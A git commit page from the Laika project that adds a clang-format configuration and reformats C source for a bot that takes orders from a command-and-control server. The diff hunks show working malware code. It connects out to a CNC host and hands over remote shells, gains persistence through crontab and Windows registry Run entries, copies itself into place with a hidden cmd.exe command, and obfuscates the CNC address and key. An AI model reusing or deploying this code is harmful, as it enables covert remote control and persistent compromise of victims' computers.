1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-07-24 09:33:05 +00:00

Added .clang-format, formatted codebase

This commit is contained in:
CPunch 2022-06-27 18:57:00 -05:00
parent 1d6ce15b3d
commit 48fa8935c3
46 changed files with 1756 additions and 1242 deletions

28
.clang-format Normal file
View File

@ -0,0 +1,28 @@
---
Language: Cpp
# BasedOnStyle: Mozilla
AccessModifierOffset: -2
AlignAfterOpenBracket: Align
AlignArrayOfStructures: Right
AlignConsecutiveMacros: AcrossEmptyLinesAndComments
AlignConsecutiveAssignments: None
AlignConsecutiveBitFields: None
AlignConsecutiveDeclarations: None
AlignEscapedNewlines: Right
AlignOperands: Align
AlignTrailingComments: true
AllowAllArgumentsOnNextLine: true
AllowShortEnumsOnASingleLine: false
AllowShortFunctionsOnASingleLine: None
AllowShortBlocksOnASingleLine: Never
AllowShortIfStatementsOnASingleLine: Never
AlwaysBreakAfterReturnType: None
BreakBeforeBraces: Mozilla
IndentWidth: 4
ColumnLimit: 100
IncludeBlocks: Regroup
IndentPPDirectives: AfterHash
MacroBlockBegin: "^LAIKA_TRY$"
MacroBlockEnd: "^LAIKA_TRYEND$"
...

View File

@ -3,14 +3,15 @@
#include "laika.h"
#include "lpacket.h"
#include "lsocket.h"
#include "lpeer.h"
#include "ltask.h"
#include "lpolllist.h"
#include "lsocket.h"
#include "lsodium.h"
#include "ltask.h"
struct sLaika_shell;
struct sLaika_bot {
struct sLaika_bot
{
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_shell *shells[LAIKA_MAX_SHELLS];
struct sLaika_pollList pList;
@ -23,9 +24,11 @@ struct sLaika_bot {
struct sLaika_bot *laikaB_newBot(void);
void laikaB_freeBot(struct sLaika_bot *bot);
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); /* can throw a LAIKA_ERROR */
/* can throw a LAIKA_ERROR */
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port);
bool laikaB_poll(struct sLaika_bot *bot);
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick,
void *uData);
#endif

View File

@ -2,11 +2,13 @@
#define LAIKA_SHELL_H
#include <stddef.h>
#include <stdbool.h>
#define LAIKA_SHELL_TASK_DELTA 50
struct sLaika_bot;
struct sLaika_shell {
struct sLaika_shell
{
uint32_t id;
};
@ -19,13 +21,15 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
/* handles reading & writing to shell pipes */
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length);
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf,
size_t length);
/* packet handlers */
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task,
clock_t currTick, void *uData);
#endif

View File

@ -1,32 +1,35 @@
/* platform specific code for achieving persistence on linux */
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/file.h>
#include <pwd.h>
#include "persist.h"
#include "lconfig.h"
#include "lsocket.h"
#include "lerror.h"
#include "lbox.h"
#include "lconfig.h"
#include "lerror.h"
#include "lmem.h"
#include "lsocket.h"
#include "persist.h"
#include <pwd.h>
#include <sys/file.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
static int laikaB_lockFile;
/* check if laika is running as super-user */
bool laikaB_checkRoot() {
bool laikaB_checkRoot()
{
return geteuid() == 0; /* user id 0 is reserved for root in 99% of the cases */
}
/* mark that laika is currently running */
void laikaB_markRunning() {
LAIKA_BOX_SKID_START(char*, filePath, LAIKA_LIN_LOCK_FILE);
void laikaB_markRunning()
{
LAIKA_BOX_SKID_START(char *, filePath, LAIKA_LIN_LOCK_FILE);
/* create lock file */
if ((laikaB_lockFile = open(filePath, O_RDWR | O_CREAT, 0666)) == -1)
LAIKA_ERROR("Couldn't open file lock '%s'! Another LaikaBot is probably running.\n", filePath);
LAIKA_ERROR("Couldn't open file lock '%s'! Another LaikaBot is probably running.\n",
filePath);
/* create lock */
if (flock(laikaB_lockFile, LOCK_EX | LOCK_NB) != 0)
@ -37,7 +40,8 @@ void laikaB_markRunning() {
}
/* unmark that laika is currently running */
void laikaB_unmarkRunning() {
void laikaB_unmarkRunning()
{
/* close lock */
if (flock(laikaB_lockFile, LOCK_UN) != 0)
LAIKA_ERROR("Failed to close file lock!\n");
@ -46,7 +50,8 @@ void laikaB_unmarkRunning() {
LAIKA_DEBUG("file lock removed!\n");
}
void getCurrentExe(char *outPath, int pathSz) {
void getCurrentExe(char *outPath, int pathSz)
{
int sz;
/* thanks linux :D */
@ -56,7 +61,8 @@ void getCurrentExe(char *outPath, int pathSz) {
outPath[sz] = '\0';
}
void getInstallPath(char *outPath, int pathSz) {
void getInstallPath(char *outPath, int pathSz)
{
struct stat st;
const char *home;
@ -66,8 +72,8 @@ void getInstallPath(char *outPath, int pathSz) {
}
/* create install directory if it doesn't exist */
LAIKA_BOX_SKID_START(char*, dirPath, LAIKA_LIN_INSTALL_DIR);
LAIKA_BOX_SKID_START(char*, filePath, LAIKA_LIN_INSTALL_FILE);
LAIKA_BOX_SKID_START(char *, dirPath, LAIKA_LIN_INSTALL_DIR);
LAIKA_BOX_SKID_START(char *, filePath, LAIKA_LIN_INSTALL_FILE);
snprintf(outPath, pathSz, "%s/%s", home, dirPath);
if (stat(outPath, &st) == -1) {
LAIKA_DEBUG("creating '%s'...\n", outPath);
@ -79,7 +85,8 @@ void getInstallPath(char *outPath, int pathSz) {
LAIKA_BOX_SKID_END(filePath);
}
bool checkPersistCron(char *path) {
bool checkPersistCron(char *path)
{
char buf[PATH_MAX + 128];
FILE *fp;
bool res = false;
@ -99,8 +106,9 @@ bool checkPersistCron(char *path) {
return res;
}
void tryPersistCron(char *path) {
LAIKA_BOX_SKID_START(char*, cronCMD, LAIKA_LIN_CRONTAB_ENTRY);
void tryPersistCron(char *path)
{
LAIKA_BOX_SKID_START(char *, cronCMD, LAIKA_LIN_CRONTAB_ENTRY);
char cmd[PATH_MAX + 128];
/* should be 'safe enough' */
@ -115,7 +123,8 @@ void tryPersistCron(char *path) {
}
/* try to gain persistance on machine */
void laikaB_tryPersist() {
void laikaB_tryPersist()
{
char exePath[PATH_MAX];
char installPath[PATH_MAX];
@ -124,7 +133,8 @@ void laikaB_tryPersist() {
getInstallPath(installPath, PATH_MAX);
/* move exe to install path (if it isn't there already) */
if (strncmp(exePath, installPath, strnlen(exePath, PATH_MAX)) != 0 && rename(exePath, installPath))
if (strncmp(exePath, installPath, strnlen(exePath, PATH_MAX)) != 0 &&
rename(exePath, installPath))
LAIKA_ERROR("Failed to install '%s' to '%s'!\n", exePath, installPath);
LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);
@ -139,6 +149,7 @@ void laikaB_tryPersist() {
}
/* try to gain root */
void laikaB_tryRoot() {
void laikaB_tryRoot()
{
/* stubbed */
}

View File

@ -1,29 +1,32 @@
/* platform specific code for opening shells in linux */
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <pty.h>
#include "bot.h"
#include "lerror.h"
#include "lmem.h"
#include "ltask.h"
#include "bot.h"
#include "shell.h"
#include <pty.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define LAIKA_LINSHELL_PATH "/bin/sh"
struct sLaika_RAWshell {
struct sLaika_RAWshell
{
struct sLaika_shell _shell;
int pid;
int fd;
};
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
{
struct winsize ws;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell));
struct sLaika_RAWshell *shell =
(struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell));
ws.ws_col = cols;
ws.ws_row = rows;
@ -32,21 +35,22 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
if (shell->pid == 0) {
/* child process, clone & run shell */
execlp(LAIKA_LINSHELL_PATH, "sh", (char*) NULL);
execlp(LAIKA_LINSHELL_PATH, "sh", (char *)NULL);
exit(0);
}
/* make sure our calls to read() & write() do not block */
if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) {
laikaB_freeShell(bot, (struct sLaika_shell*)shell);
laikaB_freeShell(bot, (struct sLaika_shell *)shell);
LAIKA_ERROR("Failed to set shell fd O_NONBLOCK");
}
return (struct sLaika_shell*)shell;
return (struct sLaika_shell *)shell;
}
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
{
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
/* kill the shell */
kill(shell->pid, SIGTERM);
@ -57,13 +61,14 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
/* ====================================[[ Shell Handlers ]]===================================== */
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
{
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t)];
struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t));
int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t));
if (rd > 0) {
/* we read some input! send to cnc */
@ -82,10 +87,12 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
return true;
}
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) {
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf,
size_t length)
{
struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
size_t nLeft;
int nWritten;

View File

@ -1,19 +1,23 @@
#include "bot.h"
#include "lbox.h"
#include "lerror.h"
#include "lmem.h"
#include "lsodium.h"
#include "lerror.h"
#include "lbox.h"
#include "bot.h"
#include "shell.h"
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
uint8_t endianness = laikaS_readByte(&peer->sock);
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE"));
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n",
(endianness ? "TRUE" : "FALSE"));
}
void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
LAIKA_DEBUG("got ping from cnc!\n");
/* stubbed */
}
@ -48,17 +52,19 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
/* clang-format on */
/* socket event */
void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
void laikaB_onPollFail(struct sLaika_socket *sock, void *uData)
{
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
laikaS_kill(&bot->peer->sock);
}
/* ==========================================[[ Bot ]]========================================== */
struct sLaika_bot *laikaB_newBot(void) {
LAIKA_BOX_SKID_START(char*, cncPubKey, LAIKA_PUBKEY);
struct sLaika_bot *laikaB_newBot(void)
{
LAIKA_BOX_SKID_START(char *, cncPubKey, LAIKA_PUBKEY);
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
struct hostent *host;
char *tempINBuf;
@ -66,16 +72,11 @@ struct sLaika_bot *laikaB_newBot(void) {
int i;
laikaP_initPList(&bot->pList);
bot->peer = laikaS_newPeer(
laikaB_pktTbl,
&bot->pList,
laikaB_onPollFail,
(void*)bot,
(void*)bot
);
bot->peer =
laikaS_newPeer(laikaB_pktTbl, &bot->pList, laikaB_onPollFail, (void *)bot, (void *)bot);
laikaT_initTaskService(&bot->tService);
laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void*)bot);
laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void *)bot);
/* init shells */
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
@ -112,7 +113,7 @@ struct sLaika_bot *laikaB_newBot(void) {
LAIKA_ERROR("gethostbyname() failed!\n");
}
if ((tempINBuf = inet_ntoa(*((struct in_addr*)host->h_addr_list[0]))) == NULL) {
if ((tempINBuf = inet_ntoa(*((struct in_addr *)host->h_addr_list[0]))) == NULL) {
laikaB_freeBot(bot);
LAIKA_ERROR("inet_ntoa() failed!\n");
}
@ -123,7 +124,8 @@ struct sLaika_bot *laikaB_newBot(void) {
return bot;
}
void laikaB_freeBot(struct sLaika_bot *bot) {
void laikaB_freeBot(struct sLaika_bot *bot)
{
int i;
/* clear shells */
@ -138,7 +140,8 @@ void laikaB_freeBot(struct sLaika_bot *bot) {
laikaM_free(bot);
}
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port)
{
struct sLaika_socket *sock = &bot->peer->sock;
/* setup socket */
@ -153,17 +156,23 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
laikaS_writeByte(sock, LAIKA_OSTYPE);
laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */
/* write public key */
laikaS_write(sock, bot->pub, sizeof(bot->pub));
laikaS_write(sock, bot->peer->hostname, LAIKA_HOSTNAME_LEN);
laikaS_write(sock, bot->peer->inet, LAIKA_INET_LEN);
laikaS_endOutPacket(bot->peer);
laikaS_setSecure(bot->peer, true); /* after the cnc receives our handshake, our packets will be encrypted */
if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0)
/* after the cnc receives our handshake, our packets will be encrypted */
laikaS_setSecure(bot->peer, true);
if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv,
bot->peer->peerPub) != 0)
LAIKA_ERROR("failed to gen session key!\n");
}
bool laikaB_poll(struct sLaika_bot *bot) {
bool laikaB_poll(struct sLaika_bot *bot)
{
struct sLaika_pollEvent *evnt;
int numEvents;
@ -184,8 +193,10 @@ bool laikaB_poll(struct sLaika_bot *bot) {
return true;
}
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick,
void *uData)
{
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
laikaS_emptyOutPacket(bot->peer, LAIKAPKT_PINGPONG);
}

View File

@ -1,26 +1,31 @@
#include <stdio.h>
#include "bot.h"
#include "lbox.h"
#include "lconfig.h"
#include "lerror.h"
#include "ltask.h"
#include "bot.h"
#include "shell.h"
#include "persist.h"
#include "shell.h"
#include <stdio.h>
#ifdef _WIN32
# ifndef DEBUG
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) {
# else
int main() {
# endif
#ifndef DEBUG
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
{
#else
int main() {
int main()
{
#endif
/* these boxes are really easy to dump, they're unlocked at the very start of execution and left in memory the entire time.
not only that but they're only obfuscating the ip & port, both are things anyone would see from opening wireshark */
LAIKA_BOX_SKID_START(char*, cncIP, LAIKA_CNC_IP);
LAIKA_BOX_SKID_START(char*, cncPORT, LAIKA_CNC_PORT);
#else
int main()
{
#endif
/* these boxes are really easy to dump, they're unlocked at the very start of execution and left
in memory the entire time.
not only that but they're only obfuscating the ip & port, both are things anyone would see
from opening wireshark */
LAIKA_BOX_SKID_START(char *, cncIP, LAIKA_CNC_IP);
LAIKA_BOX_SKID_START(char *, cncPORT, LAIKA_CNC_PORT);
struct sLaika_bot *bot;
#ifdef LAIKA_PERSISTENCE

View File

@ -1,24 +1,28 @@
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include "lerror.h"
#include "lmem.h"
#include "bot.h"
#include "shell.h"
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {
#include "bot.h"
#include "lerror.h"
#include "lmem.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
{
if (bot->activeShells++ > LAIKA_MAX_SHELLS)
LAIKA_ERROR("Failed to allocate new shell, max shells reached!\n");
/* start shell task */
if (!bot->shellTask)
bot->shellTask = laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void*)bot);
bot->shellTask =
laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void *)bot);
return bot->shells[id] = laikaB_newRAWShell(bot, cols, rows, id);
}
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell)
{
uint32_t id = shell->id;
/* tell cnc shell is closed */
@ -39,8 +43,9 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
/* ====================================[[ Packet Handlers ]]==================================== */
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
struct sLaika_shell *shell;
uint32_t id;
uint16_t cols, rows;
@ -61,8 +66,9 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
}
}
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
struct sLaika_shell *shell;
uint32_t id;
@ -76,31 +82,34 @@ void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
laikaB_freeShell(bot, shell);
}
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
struct sLaika_shell *shell;
uint32_t id;
/* read data buf */
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
laikaS_read(&peer->sock, buf, sz-sizeof(uint32_t));
laikaS_read(&peer->sock, buf, sz - sizeof(uint32_t));
/* sanity check shell */
if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id]))
LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n");
/* write to shell */
laikaB_writeShell(bot, shell, buf, sz-sizeof(uint32_t));
laikaB_writeShell(bot, shell, buf, sz - sizeof(uint32_t));
}
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task,
clock_t currTick, void *uData)
{
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
struct sLaika_shell *shell;
int i;
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
if ((shell = bot->shells[i]))
laikaB_readShell(bot, shell);
laikaB_readShell(bot, shell);
}
}

View File

@ -1,28 +1,30 @@
/* platform specific code for achieving persistence on windows (FORCES ASCII) */
#include <windows.h>
#include <shlobj.h>
#include <shlwapi.h>
#include <windows.h>
#pragma comment(lib, "Shlwapi.lib")
#pragma comment(lib, "Shlwapi.lib")
#include "persist.h"
#include "lconfig.h"
#include "lmem.h"
#include "lerror.h"
#include "lvm.h"
#include "lbox.h"
#include "lconfig.h"
#include "lerror.h"
#include "lmem.h"
#include "lvm.h"
#include "persist.h"
HANDLE laikaB_mutex;
/* check if laika is running as super-user */
bool laikaB_checkRoot() {
bool laikaB_checkRoot()
{
return true; /* stubbed for now */
}
/* mark that laika is currently running */
void laikaB_markRunning() {
LAIKA_BOX_SKID_START(char*, mutex, LAIKA_WIN_MUTEX);
void laikaB_markRunning()
{
LAIKA_BOX_SKID_START(char *, mutex, LAIKA_WIN_MUTEX);
laikaB_mutex = OpenMutexA(MUTEX_ALL_ACCESS, false, mutex);
@ -37,11 +39,13 @@ void laikaB_markRunning() {
}
/* unmark that laika is currently running */
void laikaB_unmarkRunning() {
void laikaB_unmarkRunning()
{
ReleaseMutex(laikaB_mutex);
}
HKEY openReg(HKEY key, LPCSTR subKey) {
HKEY openReg(HKEY key, LPCSTR subKey)
{
HKEY hKey;
if (RegOpenKeyExA(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
@ -51,7 +55,8 @@ HKEY openReg(HKEY key, LPCSTR subKey) {
}
/* returns raw string value from registry */
LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz) {
LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz)
{
LPSTR str = NULL;
DWORD ret;
@ -69,14 +74,16 @@ LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz) {
return str;
}
void writeReg(HKEY key, LPCSTR val, LPSTR data, DWORD sz) {
void writeReg(HKEY key, LPCSTR val, LPSTR data, DWORD sz)
{
LONG code;
if ((code = RegSetValueExA(key, val, 0, REG_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS)
LAIKA_ERROR("Failed to write registry!\n");
}
void getExecutablePath(LPSTR path) {
void getExecutablePath(LPSTR path)
{
CHAR modulePath[MAX_PATH] = {0};
if (GetModuleFileNameA(NULL, modulePath, MAX_PATH) == 0)
LAIKA_ERROR("Failed to get executable path!\n");
@ -88,12 +95,14 @@ void getExecutablePath(LPSTR path) {
LAIKA_DEBUG("EXE: %s\n", path);
}
void getInstallPath(LPSTR path) {
LAIKA_BOX_SKID_START(char*, instDir, LAIKA_WIN_INSTALL_DIR);
LAIKA_BOX_SKID_START(char*, instFile, LAIKA_WIN_INSTALL_FILE);
void getInstallPath(LPSTR path)
{
LAIKA_BOX_SKID_START(char *, instDir, LAIKA_WIN_INSTALL_DIR);
LAIKA_BOX_SKID_START(char *, instFile, LAIKA_WIN_INSTALL_FILE);
CHAR SHpath[MAX_PATH] = {0};
/* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and microsoft will probably never completely remove it :P */
/* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and
* microsoft will probably never completely remove it :P */
if (SHGetFolderPathA(NULL, CSIDL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, SHpath) != S_OK)
LAIKA_ERROR("Failed to get APPDATA!\n");
@ -108,17 +117,18 @@ void getInstallPath(LPSTR path) {
lstrcpyA(path, "\"");
lstrcatA(path, SHpath);
lstrcatA(path, "\"");
LAIKA_DEBUG("INSTALL: %s\n", path);
LAIKA_BOX_SKID_END(instFile);
LAIKA_BOX_SKID_END(instDir);
}
/* windows doesn't let you move/delete/modify any currently executing file (since a file handle to the executable is open), so we
spawn a shell to move the exe *after* we exit. */
void installSelf() {
CHAR szFile[MAX_PATH] = {0}, szInstall[MAX_PATH] = {0}, szCmd[(MAX_PATH*4)] = {0};
/* windows doesn't let you move/delete/modify any currently executing file (since a file handle to
the executable is open), so we spawn a shell to move the exe *after* we exit. */
void installSelf()
{
CHAR szFile[MAX_PATH] = {0}, szInstall[MAX_PATH] = {0}, szCmd[(MAX_PATH * 4)] = {0};
getExecutablePath(szFile);
getInstallPath(szInstall);
@ -130,24 +140,27 @@ void installSelf() {
LAIKA_DEBUG("moving '%s' to '%s'!\n", szFile, szInstall);
/* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika */
lstrcpyA(szCmd, "/C timeout /t 3 > NUL & move /Y "); /* TODO: move this string to a secret box */
/* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika
* TODO: move this string to a secret box */
lstrcpyA(szCmd, "/C timeout /t 3 > NUL & move /Y ");
lstrcatA(szCmd, szFile);
lstrcatA(szCmd, " ");
lstrcatA(szCmd, szInstall);
lstrcatA(szCmd, " > NUL & ");
lstrcatA(szCmd, szInstall);
if (GetEnvironmentVariableA("COMSPEC", szFile, MAX_PATH) == 0 || (INT)ShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32)
if (GetEnvironmentVariableA("COMSPEC", szFile, MAX_PATH) == 0 ||
(INT)ShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32)
LAIKA_ERROR("Failed to start shell for moving exe!\n");
laikaB_unmarkRunning();
exit(0);
}
void installRegistry() {
LAIKA_BOX_SKID_START(char*, regKey, LAIKA_WIN_REG_KEY);
LAIKA_BOX_SKID_START(char*, regKeyVal, LAIKA_WIN_REG_VAL);
void installRegistry()
{
LAIKA_BOX_SKID_START(char *, regKey, LAIKA_WIN_REG_KEY);
LAIKA_BOX_SKID_START(char *, regKeyVal, LAIKA_WIN_REG_VAL);
CHAR newRegValue[MAX_PATH] = {0};
LPSTR regVal;
DWORD regSz;
@ -182,12 +195,14 @@ void installRegistry() {
}
/* try to gain persistance on machine */
void laikaB_tryPersist() {
void laikaB_tryPersist()
{
installRegistry();
installSelf();
}
/* try to gain root */
void laikaB_tryRoot() {
void laikaB_tryRoot()
{
/* stubbed */
}

View File

@ -1,14 +1,15 @@
/* platform specific code for opening shells (pseudo consoles) on windows */
#include "bot.h"
#include "lerror.h"
#include "lmem.h"
#include "bot.h"
#include "shell.h"
#include <windows.h>
#include <process.h>
#include <windows.h>
/* shells are significantly more complex on windows than linux for laika */
struct sLaika_RAWshell {
struct sLaika_RAWshell
{
struct sLaika_shell _shell;
HANDLE in, out;
PROCESS_INFORMATION procInfo;
@ -16,12 +17,16 @@ struct sLaika_RAWshell {
HPCON pseudoCon;
};
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows);
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols,
int rows);
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC);
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {;
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
{
;
TCHAR szComspec[MAX_PATH];
struct sLaika_RAWshell* shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell));
struct sLaika_RAWshell *shell =
(struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell));
HRESULT hr;
ZeroMemory(shell, sizeof(struct sLaika_RAWshell));
@ -50,34 +55,35 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
}
/* launch cmd shell */
hr = CreateProcess(
NULL, /* No module name - use Command Line */
szComspec, /* Command Line */
NULL, /* Process handle not inheritable */
NULL, /* Thread handle not inheritable */
FALSE, /* Inherit handles */
EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */
NULL, /* Use parent's environment block */
NULL, /* Use parent's starting directory */
&shell->startupInfo.StartupInfo,/* Pointer to STARTUPINFO */
&shell->procInfo) /* Pointer to PROCESS_INFORMATION */
